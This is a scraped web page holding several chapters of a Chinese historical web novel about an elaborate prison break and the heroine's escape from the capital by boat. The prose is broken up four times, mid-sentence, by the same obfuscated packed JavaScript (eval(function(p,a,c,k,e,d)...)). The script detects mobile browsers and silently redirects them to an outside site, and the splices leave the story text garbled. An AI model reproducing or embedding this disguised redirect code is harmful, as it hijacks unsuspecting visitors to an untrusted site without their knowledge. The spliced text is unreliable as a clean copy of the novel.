;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127552|180125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路跑到盛氏辖地一个偏僻山谷里，一呆就是十几年，最近几年才知朝廷早已平定叛乱。” 钟黎深深地凝视着他，人虽苍老了很多，眼神却并不混沌。 “你没有患上离魂之症？” “我有病。”老头儿顿了一下，“但没疯。” “为何装疯卖傻？” 老汉道：“为了将幕后之人引出来。” 钟黎双眼眯起，“躲了这么多年，怎地又不怕了？你不怕那人趁机杀了你？” 老汉长叹，“我得了重病，快死了，想给其他人留个安生日子，一日不知道仇人是谁，一日不得安宁，所以我故意当街说疯话，想引人现身。” 呵呵…… 钟黎心道，一个庄田地里出来的粗汉，愚蠢鲁钝，大字不识一个，居然也学人玩心计。 要知道，在京城，悄无声息地杀死一个疯汉，比捏死一只蚂蚁还要简单。 “你有怀疑的人吗？” 老汉欲言又止，最终从牙缝里咬出一个名字，“陶贵。” 钟黎一怔。 陶贵？ 或许是因为太久没听到这个名字，钟黎一时之间没有反应过来。 “定是他！”老汉神情激动，胸膛上下起伏，“陶贵当年也是云门镇的屠凶之一，当年他刚刚投降了朝廷，不但没死，还做了大官。除了他，我想不出谁还跟我们有血海深仇。” 钟黎想了想。 陶贵当年率众归降，朝廷赏了个骠骑将军的虚衔给他。 不过，终归是盛氏降将，没过几年，便被朝廷寻了个由头，拿捏住错处，打下刑部大狱。之所以到如今还留着条性命，不过是朝廷不想担一个“杀降将”的名声罢了。 “他如今被关在刑部大狱，你可以安心了。” 老汉吃了一惊，喃喃自念：“他坐牢了？这怎么可能……” “陈年往事，何必呢？” 老汉恨声道：“那人是个心狠的，连孩童都不放过，可怜我儿子当年才七岁，也被他派出的人给杀了。反正我快要死了，我要报仇。” 钟黎沉思片刻，“除你之外的另外三家人如今在哪儿？” 老汉咧了咧嘴，满脸深纹如壑，“大人见谅，为了他们的安全，我谁都不能说，除非确保仇人已死。” 钟黎拧了拧眉，“就凭你自己一人，如何报仇？” “当年朝廷赏赐了不少金银，我用那些钱雇了两个江湖人士，武功高得很。” 钟黎凝视着他，“你口口声声说仇人是陶贵，可是就算仇人此时站在你面前，你也辨认不出吧。” 老汉笃定道：“我自小习得口技，能清楚记得那人的声音。只要我再听一遍，就一定可以辨认出来。” “钟大人。”老汉步履蹒跚地走到钟黎面前，跪在地上，“当年我四人死里逃生，蒙大人照顾多日，感激不尽。如今不敢再给大人添麻烦，大人今日就当没见过我。若我的仇人真是陶贵，他就此老死狱中，也算是他的报应。若不是，小老儿就守在这里，等那人来要小老儿的命。” 他似是下了极大的决心，一番话是咬着牙说出来的。 冬日微风拂拂，吹得药堂后院的的草帘子一飘一动，散出浓浓的药香。 钟黎沉吟半晌，突然笑了笑，“与其闹得京城百姓人心惶惶，不如……本官带你去见陶贵一面。” 74. 共救 暮色渐浓，华灯初上。 一盏盏六角灯笼高悬于街边垂枝上，倒映出鎏金之色，灿光曳满京华，明耀如火。 每个灯笼下面挂着一条绸带，上面的字谜是由大书法家穗禾居士亲手所写，字若银钩铁画，又兼流畅飞逸。 博文斋门前，八名白衣侍从分列两侧，躬身候客。八人身量齐高，皆头戴高冠，身着白衫，腰别嵌玉，脚蹬礼舄。 无论是面对衣锦佩玉的达官显贵，还是头戴纶巾的儒家文士，亦或是一袭青衫的布衣书生，白衣侍从皆款款相待，礼数周全，姿态文雅，令人心生舒怡。 众人见此景，皆心潮澎湃。 博文斋哪有这等财力，这排场倒像是江南韩家的作派。韩家将在今夜展出赵大家真迹的传言，想必是真的。 霍思修站于门前，“在下霍思修。” 白衣侍从躬身递回名帖，笑若春风，“原来是霍大人，您的位子在一楼西侧二十八号位。” 与霍思修同行的还有翰林院的几位同侪，在他身边依次坐下。 大堂长阔，雕梁画栋，富丽堂皇，正中立起一座高台，宾座环绕其外。高台上方悬六盏明灯，如扶摇光华，亮如昼光。 落坐之后，霍思修也不说话，只顾着四处张望。 一位同侪好奇问道：“霍兄在找人？” 霍思修面色不太自然，挤了个笑容，“啊……是啊，有位朋友说会来，却没有见到。” “别着急，再等一等。”同侪感叹，“今日这赏鉴大会来的人可真多，我久居京城，还是第一次见到如此盛会。” 霍思修心事重重，随意应了两句。 约过半刻，一群白衣侍从鱼贯而入，奉上清甜甘爽的梅子酒。 一位侍从一边斟酒，一边笑道：“霍大人，这酒名唤残红酒，取自大人的诗作“瓮底梅子褪残红”。我家家主久慕大人才名，希望大人喜欢。” 霍思修怔然一瞬。 察觉白衣侍从的视线落在他的右后方，霍思修陡然一震，肩膀微僵，眼角余光扫过去，那里坐着一个年约四十的男子，腰宽体阔，皮肤黢黑，满脸横肉。 此人是江湖上赫赫有名的大盗程五，也是今夜他要等的人。 高台之上，锣声敲响。戌时三刻，赏鉴大会正式开始。 ———— 刑部衙署与博文斋仅一街之隔。 外面高声笑语，不时地传入衙署之中，勾得人心痒难耐。 余滨将案头的卷宗推至一边，倚靠在椅背上闭目假寐。听着这喧闹声，他心头很不是个滋味儿。那边是花团锦簇，人声鼎沸，自己这里却是寒夜孤冷，寂寥凄清。 这么多年，他日日在上官面前伏低做小，奴颜婢膝，才换得这郎中之位。昨日众人相约，他何尝不想去博文斋，可是偏偏席尚书将公廨轮值这苦差事儿扔给了他。 突然，外有叩门。 “谁？” “大人，您让凌云楼送的香酥鹌鹑到了。” 房门打开，余滨张大了嘴，“景兄？” 门外，景随一袭锦袍，淡笑而立。 凌云楼的小厮忙解释，今日景随与余滨都不约而同要了香酥鹌鹑，可是今夜恰巧只剩最后一份，凌云楼也不知该如何是好。 余滨闻言，大惊失色，颔首道：“愚仆鲁钝，区区食物，让给景大人便好，何至于让景大人亲自来解释。” 景随忙摆手笑笑，不以为意道：“弟听说是余兄，一时兴起，想着佳肴难分，不如与余兄一起把酒共饮，岂不更美？” “这，这……”，余滨又惊又喜，一时说不出话来，“景兄快请进。” 二人把酒言欢，相见恨晚。 “今日能与贤弟相交，是你我的缘分，哥哥心中欢喜得紧。” 景随再斟一杯，“余兄一身才华，只在刑部做个郎中，实在埋没。” 余滨仰头饮尽，“若得贤弟帮助，为兄这苦日子就算是到头了。” 他晃晃悠悠地站起来，忽觉头昏目眩，眼前景物成了一道道重叠的虚影，一个趔趄倒了下去。 景随飞快地扶住他，从他腰间摸出一把环形铁钥，藏于食盒夹层。 前一夜，苏叶给他们六人各自布置了任务。 今夜，他的任务，便是拿到铁钥。 关押任知宜的牢锁是由特殊形制的模具打造，铁钥由每日轮值的刑部官员随身保管，且非一时半刻可配成。 景随搀着余滨虚软的身子坐到交椅上，手臂支在桌上，作扶额状。 做好这一切，景随打开门。 “进来吧。” 门口守卫朝里面望了一眼，看到余滨的背影，一切如常。 凌云楼的两个小厮进来将食盒带走，退出房门之际，二人抬头，朝景随点了点头。 两个“小厮”，一个是唐橘，一个是宝珠。 夜色深幽，景随目送二人远走，眼神中暗色翻涌。 后日辰时，便是知宜行刑之期。 按照苏叶所说，刑部将所有人手布置在关押知宜的牢房四周，即使拿到牢门的铁钥，也不能顺利将她救出。 惟一的办法，是“调虎离山”，于生死绝境处寻一线生机。 灯烛摇曳，他执盏贴唇，“余兄，再敬你一杯。” ———— 月色昏明，树影重重，掩于深浓夜色之中。 黑色披风下，一只苍老的手掌伸出来，露出刑部的通行腰牌。守卫看过，立刻打开狱门，放他们一行四人进去。 钟黎走在最前面，步履沉稳，不疾不徐，对这里的环境很熟悉，后面跟着千金药堂的疯老汉和两个年轻男子。 刑部暗狱分上下两层，关押陶贵的地方在下层近阶之处。 四人沿着昏暗的狱道，向下走去。 钟黎回头，瞥了一眼后面的两个年轻男子，“他们就是你请的高手？” “是。” 很快，四人行至一间牢房前。 里面的人头发散着，蓬乱而毛糙，面部黢黑，脊背佝偻，蜷缩着坐在墙角里。 “陶贵。” 钟黎摘掉斗笠，露出真容。 牢房里的陶贵若有所动，双目无神地望了他一眼，又回到茫然呆滞的状态。 狱卒将人带出，拿出倒刺的刑鞭，朝地上狠狠地抽了两下。 陶贵听到这个声音，身子剧烈抖颤，嘴唇翕动两下。 “你说什么？”疯老汉靠近过去，想听清楚他说的话。 就在他欺身的一刹那，陶贵双眸陡然一锐，右手穿过胁下间隙，一把攫住疯老汉的手腕，拉到身前。 指如利爪，锁扣咽喉，尖长的指甲扎入皮肉中，凝出细小的血珠。 陶贵朝着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127553|180125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钟黎喊道：“放我出去，否则我杀了他。” “你杀吧。反正他又不是我的人。”钟黎笑了笑，缓缓退后两步，神情自若地看着眼前一切。 “你什么意思？”陶贵大惊。 紧接着，数十名狱卫突然现身，将所有人团团围住。 “邢老头儿，你一个腌臜卑贱之人，敢跟我玩儿心计！”钟黎望着疯老汉嗤笑，“你一早就知道当年追杀你们的人不是陶贵，却故意引我带你进刑部大狱，想要救他？真是可笑！” “真的是你！”邢老汉满面胀得青紫，神情激狂，“你为什么要杀我们？为什么害死我儿子？” 钟黎得意地笑了笑，“等你进了棺材，我就告诉你。” 钟黎指着两个年轻男子，“这两人的举止、步态，一看就是受过严格训练之人，根本不可能是什么江湖草莽。你老实地告诉我，你幕后之人究竟是何卢，还是太子？我听完后，或许会发发善心，给你留个全尸。” 被人识穿身份，两个年轻男子摘下斗笠，露出真容。 一个是林七，一个是林九。 他们二话不说，面无表情地抽出腰间软剑，寒光凛凛，煞气逼人。 刀光剑影，短兵相接。 陶贵望着眼前的情势，微微眯起眼。 邢老汉被他箍着喉，寻得一丝喘息，立刻低声道：“你还愣着干什么？从那边绕出去，找机会逃。” 陶贵兀自犹疑不定，站着不动。 剑雨刀风之中，林七突然一跃，背抵石墙，缓缓从喉咙处掏出一枚肠衣包裹的小铁球，朝地上猛地一掷。 轰地一声，小铁球炸开。 剧烈的爆炸声令整个牢房震颤，浓烟滚滚，夹杂着刺鼻的气味。 一时之间，刑部大狱乱成一片。 “放我们出去！放我们出去！” 被关押的犯人群情汹涌，发疯似地捶打着牢门。 陶贵扔下邢老汉，从暗阶趁乱逃了出去，林七、林九紧跟上去。 钟黎看见，一边剧烈地咳着，一边高喊道：“有人劫狱，速追！” ———— 任知宜被爆炸声惊醒。 一个低低的，熟悉的声音自牢房外发出。 “小姐，小姐……” 任知宜起身，缓缓走到牢门前，怔怔地望着眼前的宝珠和唐橘，一瞬间，她以为自己看到了幻影。 直到看见唐橘利落地开锁，她的眼神渐渐恢复清明。 “你们怎么进来的？” 唐橘一边解释，一边手上动作不停，“有人越狱，眼下刑部的大部分狱卫都被调去追击逃犯，现在外面守卫空虚，咱们换上衣服，趁乱逃。” “小姐，你身体还好吗？”宝珠望着任知宜风吹即倒的羸弱样子，一脸担心。 任知宜冲她虚弱一笑：“放心。” “咔嗒！” 唐橘惊喜道：“锁开了。” 突然，外面传来一阵整齐的踏步声，矫健沉着而富有力量。 “有人来了。”任知宜面色一变，急忙道：“将铁药重新锁回去，往西走第二间牢房那里有一个死角，去那里躲着。” 她们刚离开，来人即到，前后不过毫息之差。 任知宜呼吸微滞，冷冷地望着前方。 昏暗的烛火映照出来人的脸庞，是禁军统领，莫千山。 75. 越狱 莫千山走到牢房前，身后跟着数十禁军。 隔着牢门，他望见任知宜安静地坐在里面，脸色白得像个鬼，眼神倒是依旧淡静无澜。 饶是他与她各为其主，莫千山亦不由地暗叹这份镇定从容。 “行刑在即，你倒是不怕。” 任知宜淡淡道：“怕也无用。” 莫千山扫了一眼牢房四周，冷声吩咐道：“此女是后日行刑的要犯，你们要加强守卫，不容有失。” “大人说的是。”刑部狱卫颔首，面带难色，“不过，今夜刑部走脱人犯，责任重大，刑部倾巢而出，眼下余卫不足十人，还须看守上下两层的其他要犯。” 莫千山挥手，示意他不必再说。 “禁军留下八人。从此刻起，你们每隔半刻钟，须进来确认一下她的情况。其余人跟我去追逃犯。” 顿了一下，他陡然拔高声音，“众卫听令！今夜，重犯陶贵若不能活捉，则就地杀毙。” “是！”声音整齐而肃杀。 ———— 莫千山走后，任知宜再也支撑不住，一下子软倒在地上。几日未进米水，她的身子非常虚弱，只是强行站了片刻，便虚汗淋漓。 她扶着牢栏，坐在地上静思。 每隔半刻钟会有守卫进来，只有半刻的空隙，她若逃狱，尚未走出刑部大牢，就会被人发现。 唐橘她们回来，递给她一身刑部守卫衣，“知宜，快换上，走。” 任知宜摇了摇头，“走不掉的。外面多布了八个禁军，莫千山要求他们每隔半刻，进来察看。” 唐橘恨声道：“这个时辰，禁军怎么会出现？” 千算万算，棋差一招。 唐橘冷哼，“事已至此，外面八个禁军，四个狱卫，大不了就这么杀出去。” “不行，太冒险了。”任知宜道：“今日你们先离开，回去之后再替我想别的办法。” 哪里还有别的办法。 唐橘知她是故意这么说，想让她们安心地走。可是，今日之机，不可再得。刑部逃脱犯人，后续必严阵以待，再不可能有机会救她。 一直闷不作声的宝珠突然开口，“我有个办法。” “什么？”唐橘急问。 宝珠道：“我换上小姐的衣服，躺在床上。今夜刑部大乱，这里又昏暗无光，他们定然分辨不出，以为人还在牢里，这样你们就可以顺利逃掉。” 唐橘下意识问道：“那你怎么办？” 宝珠抬了抬下巴，不以为意道：“牢门铁锁已开，区区刑部大牢，哪能关得住我！来之前，苏叶给我们看过衙署的地形图，我都记得清清楚楚了。” 唐橘一时无言，望向任知宜。 任知宜抿唇不语，她知晓宝珠的武功，明白这或许是目前唯一可行的办法。 但是，这不代表没有风险。 宝珠催促，“小姐，别想了，没时间了。” 任知宜双拳紧握，点了点头。 二人换好衣服。 任知宜道：“如果顺利，我与唐橘约半个时辰可以逃出。” 接着，她指向房顶，“半个时辰之后，你听到守卫来巡察的脚步声，便以轻功飞上去，隐于房顶。今日刑部大乱，守卫见牢门大开，内里无人，惊慌之下不会细看，可能会立刻去追捕。待他们离开，你再趁乱逃走。” “我明白，小姐。”宝珠笑得轻快，“待我逃出大狱，我就往西南方向放一枚烟花信号，你看到之后就知道我已安全。” —— 出了牢狱，唐橘去景随那里归还铁钥，任知宜则混进一队巡查狱卫当中，自然而然地跟着走出衙署。 行至路口，队伍突然停下。 任知宜抬眼一望，前方的博文斋门前闪着明火，不断有刀剑厮杀之声传来。 不远处，莫千山带领的禁军也因为混战被阻在长街中央，无法向前。 整条街血气浓腥，杀气腾腾。 禁军的马匹受惊，前蹄高扬，发出阵阵嘶鸣。 莫千山坐在马上，高声喊道：“禁军缉拿脱逃要犯，前方因何故阻路？” 马蹄哒哒，隔着数丈之远，朗声回答他的是北衙卫中郎将庞大海。 “莫统领，今夜博文斋办赏鉴大会，一群江湖贼匪胆大包天，混入其中，本将军担京城护卫之责，必不能让一人逃脱。” 莫千山眉头深拧。 “本将同样是职责所在，逃犯一行人混进博文斋中，请庞将军让路。” 庞大海遥遥高喊道：“这群贼匪武功高强，皆是亡命之徒，莫统领不如静待片刻，待北衙卫将他们尽数捉拿之后，再追逃犯不迟。” “赫……” 此时，突然不远处传来一声怒喝，一个满身是血的汉子劈刀挥砍，杀出北衙卫的重围，朝着街尾的方向逃奔而去。 “拿箭来。” 莫千山接过长弓，搭箭，挽弓，一气呵成。利箭离弦，倏地一下从那汉子后颈穿骨而过。 汉子脚步倏停，手捂喉咙，一头栽倒下去。 莫千山按辔徐行，缓缓至庞大海面前，冷冷地瞥过地上的死人，“庞将军，你看到了，禁军能助北衙一臂之力。” 庞大海不再争辩，执缰后退，让出一条阔道。 莫千山右手一挥，“听本将令，若遇贼匪，尽力剿杀，不要恋战，我们的目的是进入博文斋追捕逃犯。” 众卫听令，冲了过去。 任知宜混在队伍的最后面，亦被迫跟着，杀了上去。 月照高空，接近正南方向。 此时，距离子时不到半个时辰。 她心中焦灼，唐橘让她必须于子时前到达东城门，同时她也担心宝珠那边的情况。 杀进去后，厮杀的惨烈远超出她的想象。 亮如白日的的火光之下，街面像是被血冲刷过一般，满地的残肢断臂，哀嚎烈烈。 搏杀之人有北衙卫，有禁军，还有江湖中人。 众人挥舞刀剑，杀红了眼，直砍得刀刃翻卷也不停手。 趁着无人注意，任知宜溜出队伍，藏在一处货架后边。 月色之下，漫天血雾，敌我难辨。 莫千山纵马挥刀，接连砍下数个头颅，杀出一条血路。 眼见莫千山带着亲兵闯入博文斋，任知宜戴好头盔，欲沿着檐下从后巷逃离。 “他奶奶的！” 一个皮肤黢黑的汉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127554|180125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子一刀砍在对面人的肩膀上，鲜血喷了一脸。 他抹了把血，吼道：“一群蠢蛋！老子说了多少遍！那东西没到老子手里，你们都让那个书生给诓了。” 几把长刀同时砍向黑脸汉子，无人相信他的话。 砰地一声，黑脸汉子被踢飞到任知宜藏身的货架上，巨大的冲击震得架子支离破碎。 他一抬头，觑到任知宜。 “呵呵！他娘的，这里还躲着一个！” 他双目圆眦，提刀霍霍，有如恶煞自阴间地狱而来。 任知宜一惊。 没有给她片刻喘息的机会，大刀直劈而来，她下意识地闭上眼睛。 劲风袭来，一截额前垂发被削落在地。 刀锋堪堪停在离她头皮三寸之处，黑脸汉子突然身子一僵，手中大刀轰然落地，胸前被利剑从后洞穿，鲜血汩汩。 庞大海收剑，关切道：“任待诏，你没事吧？我已在这里等你多时了。” 任知宜顾不上寒暄，“走，去东城门。” —— 庞大海驾车。 马车内有备好的北衙侍卫衣物，任知宜换好衣服，撩开车帷问道：“你就这么走了，那些贼匪怎么办？” “北衙和禁军联手，刚才已斩杀掉大半的賊匪。眼下莫千山刚进博文斋内，一时半会儿还不会察觉，我们必须赶在子时之前出东城门。” “如何出城？” 庞大海一边挥鞭，一边道：“到了前面街口，咱们换掉马车，骑马出城。刚才我故意放走两个贼匪，你假作北衙卫兵，奉命出城追捕。” 任知宜抿唇，“我初学骑马，恐怕跑不了多远。” “无妨。”庞大海道：“殿下已做好安排，林四在东城门外等着待诏。出城后，你们骑马至溧水东岸，然后登船。” “登船去哪儿？” “不知道。” 任知宜顿了一下，问：“今夜劫狱，是殿下的意思？” 庞大海道：“殿下筹谋，诸君舍命。大家都不会眼睁睁地看着待诏去送死。” 除了马车碌碌喇喇的声音，四周一片空静，她听到自己咚咚的心跳声，重如擂鼓。 像是在凄清的寒夜里喝了碗咸咸的热粥，她的心里又暖，又涩，五味杂陈。 在刑部大狱里绝望地数着铜漏的日子里，她也曾想过，会不会有人不惜一切来救她？不过，这种念头只是一闪而过，如微风般轻轻一掠，便消逝殆尽。 或许，从七岁那年开始，她就已经学会不再对他人保有太多期待。 没有期待，便不会有失望。 “啪嗒……” 此时，西南方的天空上，亮起一道红色的焰花。 任知宜心中惊喜，激动道：“是宝珠！她逃出来了！” 庞大海笑道：“宝珠姑娘武功高强，刑部大狱困不住她的，你不用担心。” “驾……” 骏马急奔，冷风呼呼地窜进马车。 任知宜打开水囊猛灌两口，一股热流从檀口涌到心门，冰凉的指尖渐渐回温。 她倚靠着车壁，回望黑夜里的兆京城，听不到喧嚣的厮杀，远处灯火阑珊，点点星光渐渐归于寂灭。 76. 逃离 博文斋 一阵乱刀砍杀，莫千山率禁军闯了进去，堂内昏黑，辨不清人影。 火折点燃，现出众人惊惧的面容。 “莫，莫统领。”有人认出莫千山，失声喊道。 莫千山环顾一周，没见到陶贵和邢老汉的身影。 那人上前，焦急问道：“莫统领，外面的贼匪是否已经被诛，我等何时可以回家？” 莫千山觉得他的面貌有几分熟悉，“你是……？” “在下吏部葛元政。” 葛元政又指着身旁二人，“这二位是工部和礼部的……” 莫千山打断他的话，“你们有没有看见四个外人闯进来？一个年约六旬，身着褐衣，一个穿着囚服，还有两个年轻男子，身高八尺，手执长剑。” “刚，刚才这里漆黑一片，乱成一团，我没注意啊……”，葛元政呆怔半晌，喃喃道。 莫千山拧着眉，视线扫过堂内的每一个人，“所有人都在这里了？” 葛元政想了想，“后院还有几个。” 莫千山沉下脸，“是什么人？” 葛元政指着后院，结结巴巴道：“有人受伤，有个大夫正给人治伤呢。” 莫千山眼神一锐，朝着后院急奔而去，可是不过片刻，他又去而复返。 他面带阴云，周身的煞气比外面的贼匪还盛。 “后院空无一人。” 葛元政怔住。 此时，外面闯进来一个禁军头目，急匆匆跑到莫千山面前，附耳低语，“统领，不好了。任知宜从刑部大牢逃了。” 他将声音压得极低，只有旁边的莫千山和葛元政能听见他的话。 莫千山一把拎起葛元政的襟领，紧抿的双唇绷成一条直线，“你听见了吧？立刻将今夜博文斋发生的事原原本本地给本统领说一遍。” ———— 长鞭扬起，跨马疾驰，冰凉的夜风从颊边呼啸而过。 莫千山勒紧缰绳，心如烈焰焚烧。 耳边一遍遍地响起葛元政的话—— “今夜的赏鉴大会原本一直好好的，直到展出秦大家的真迹时，不知怎地，翰林院的一位同侪与人争吵起来，对方行事粗悍，恼怒之际竟动起手来。 这时，赏鉴台上突然传来几声炸响，六盏宫灯呼地一下全灭了。黑暗中，有人呼喊——“秦大家的真迹不见了”。 就这样，堂内乱成一片。不知是哪里冒出来的一群贼匪，互相骂对方不讲江湖道义，先动手偷了宝物，骂了没几句便拔出刀，一刀就见了血，我们吓得躲到桌子底下，大气都不敢喘一下。 再后来，庞将军带着北衙卫就到了……” “驾！驾！驾！” 莫千山朝马背上狠狠挥了一鞭。 狂纵的马儿在空无一人的长街上奔驰，哒哒的啼声响在寂静的夜空里。 博文斋选择今夜办赏鉴大会，刻意展出价值连城的真迹，引四方贼匪觊觎，制造混乱，再将禁军引至博文斋内，为的就是争取时间，让任知宜逃出京城。 庞大海、霍思修，还有韩少初，他们全都参与其中。 “驾！” 当下最重要的，是将任知宜抓回，至于陶贵，肯定也在太子的手中。 东城门离博文斋最近，若无万一，任知宜当是从东城门逃出。 子时，城门的钟缓缓敲响，声音悠长沉郁，像是昭告世人，整座城已进入沉睡。 伴随着厚重的城门缓缓闭阖，马蹄声愈行愈急。 “吁……” 莫千山勒马，高声喊道：“禁军统领莫千山追击刑部要犯，速开城门。” 城门守将借着夜色，觑见城下之人一身铠甲，血迹斑斑。 “统领，上面有令，今夜宵禁，子时闭城。” “别废话！”莫千山怒喝，“误了事，谁也担不起。” 守将从城墙上匆匆下来，确认过莫千山的身份后，诚惶诚恐道：“末将不敢，只是前几天接过一道上令，子时宵禁，除非有陛下手谕，否则谁都不能出城。” 因为应国使臣团来京，北衙曾建议子时宵禁，施以严令，陛下也同意。 莫千山面沉如水。 “我问你，今夜可有北衙之人出过城？” “有。”守将道：“城门关闭之前，有两个北衙亲兵奉命追击贼匪。” “走了多久？”莫千山面容肃杀。 “约摸半刻。” 寒光一闪，长剑落在守将的脖子上。 “开城门！”莫千山寒声道。 守将咽了口唾沫，“上令言明，除非陛下手谕，否，否则，谁也不能在子时之后出城。” 莫千山目色一冷，“你我同为武将，我并不想随意取你性命。” 守将额汗涔涔，苦笑道：“莫统领，开城门是死，不开城门也是死，您让末将如何选？” 莫千山攥剑的手微微用力，剑锋没入皮肉，细小的血珠顺着剑身滴下来…… 身后传来疾风快马之声。 来人翻身下马，阻下他的剑，“统领，安王有令，请统领立刻回宫。” 莫千山绷着脸，丝毫没有收手之意。 来人面色微急，按住他的手，以极低的声音说了四个字——“太子失踪”。 莫千山闻言，眸色骤变，转身跃上马背。 侥幸捡回一条命的守将浑身虚软，捂着犹在渗血的脖子，失神地望着他们离去的身影。 ———— 出城后，任知宜与林四接连换马，又用乱枝掩盖掉分岔路的蹄印。 一路策马狂行。 溧水之上，夜色笼罩着水面，远处闪着三两点微弱的渔火，一艘不起眼的小船停在水中央。 看见二人，船头之人缓缓划桨，靠岸过来。 来人一身渔夫装扮，素手轻抬斗笠，露出一双俊逸的眉眼，正是苏叶。 “我这一夜提心吊胆，唯恐怕你不能顺利逃出来。快上船吧。” “等等。”任知宜脚步一滞，“我们走了，宝珠怎么办？” “林七会接应她，你放心吧。” 林四一边说着，一边将二人身上的甲衣脱下，尽数沉入水底。 三人上船。 回头望去，京城的灯火渐渐凝结成一个光点，直至不复再见。 江面幽寂，除了行船击水，静谧得听不到一丝鸟鸣。 任知宜靠坐在船舱内，浑身倦怠，一丝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127555|180125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力气也使不上，她静静地听着苏叶解释今夜发生的事情。 苏叶所说的，与她猜想的八九不离十。 今夜险象环生，在于每一个环节，若踏错一步，便有性命之忧。 为了救她出狱，她的朋友们或舍掉财富，或背叛亲人，或牺牲功名，或放弃梦想。 她眼睛酸酸的，“他们留在京城，会不会受到牵连？” 苏叶道：“韩少初今夜已启程回济州，韩家刚刚向朝廷献了三成家产，若是朝廷拿不出切实的证据，也不敢为难于他。霍思修同样是查无实证；至于景随，他有景相护着，自然不会有事；还有唐橘，我会尽力保她。” 任知宜蹙着眉，摇了摇头。 这事关系到彦月公主之死，绝不会那么简单，伊柘也不会善罢甘休。 “连累大家至此，我却连敌人是谁都不知道。”任知宜望着波澜无惊的水面，声音压抑。 苏叶回头瞥了她一眼，“你不用如此，大家救你，没有半分勉强。” “多谢。”任知宜望着他，缓缓开口。她有些意外，毕竟苏叶一向不太喜欢她。 苏叶的表情不大自然，“不用谢我，我只是听命行事，要谢就谢太子殿下吧。” 任知宜望着他，半晌无言。 她一直知道，卫枢对她很好，但是没想到会这么好。他竟然为了她，不顾胤应两国邦交，设计劫狱。 “明日早朝，殿下准备如何善后？” 苏叶神情微妙地看了她一眼，没有说话。 她恳切道：“麻烦你转告殿下，胤应两国不可兴战，伊柘与彦月公主之间并不和睦，别有内情。” 苏叶点了点头。 任知宜回头望了一眼，岸边夜黑风静，没有树影摇动，也听不见任何声音。 按理说，此时莫千山应该早已发现她逃狱，他们坐的这艘小船顺水，却摇得很慢，看苏叶的样子，似乎根本不担心后面的追兵。 她眉头微皱，问苏叶，“禁军为何没有追来？” 苏叶撇了撇唇，悻悻道：“大概是还有更重要的事情要办吧。” 任知宜拧眉。 她想不出，此时此刻，还有什么事会比追捕她这个越狱钦犯更加重要。 “你知道是什么事？” 苏叶复又看了她一眼，缓缓道：“殿下违抗圣令，私自离宫了。” 什么？ 任知宜双唇微张，满脸的不敢置信。 “殿下现在人在哪儿？” 她表情异常严肃。 东宫形势不妙，此时离宫，岂不是将储君之位拱手让人？ 见苏叶不答，她急道：“快说啊。” “殿下不放心你一人离京，打算与你同去江南。” 任知宜呆住了。 卫枢不只是离宫，还要与她一起逃出京城。 是她听错了，还是苏叶说错了？ 直到现在，禁军也没有追上来，不是因为莫千山愚笨，而是因为宫里发现太子失踪。 又或者，安王知道卫枢没有失踪，而是私自离京，索性将计就计，将此事闹大。 苏叶指着前方的一艘两翼楼船，“殿下在那个船上等你，你亲自去问他吧。” 77. 情意 小舟点起灯，火光照进水中，倒映出船上之人的影子。 鬓发垂散，满面血污，袍子穿在身上显得空荡荡的。 任知宜蹲在船边，掬起一捧水，拍在脸上，又以手作篦，挽起长发。 之前，她从未过分在意过自己的容貌。因为常有郓人到灵州劫掳貌美的贫家女子，回去之后再高价卖出，所以她甚至不喜欢别人称赞她的容貌。 不过，今夜却是不同。 她不希望卫枢看到她不好看的样子。 小舟荡漾，溧水泛起涟漪，她望着水中朦胧的灯影，心跳得飞快。 她想告诉他，她心悦于他。 再多的瞻前顾后，也无法抵挡感情的汹涌。 之所以成为东宫幕僚，除了形势所逼，还有她自己的意愿。卫枢的身上，有为求公理真相的不择手段，还有士大夫的理想主义。纵使她内心从不愿意承认，她骨子里终究是和父亲一样的人。 黑夜里，小舟摇摇前行，离着那艘楼船越来越近。 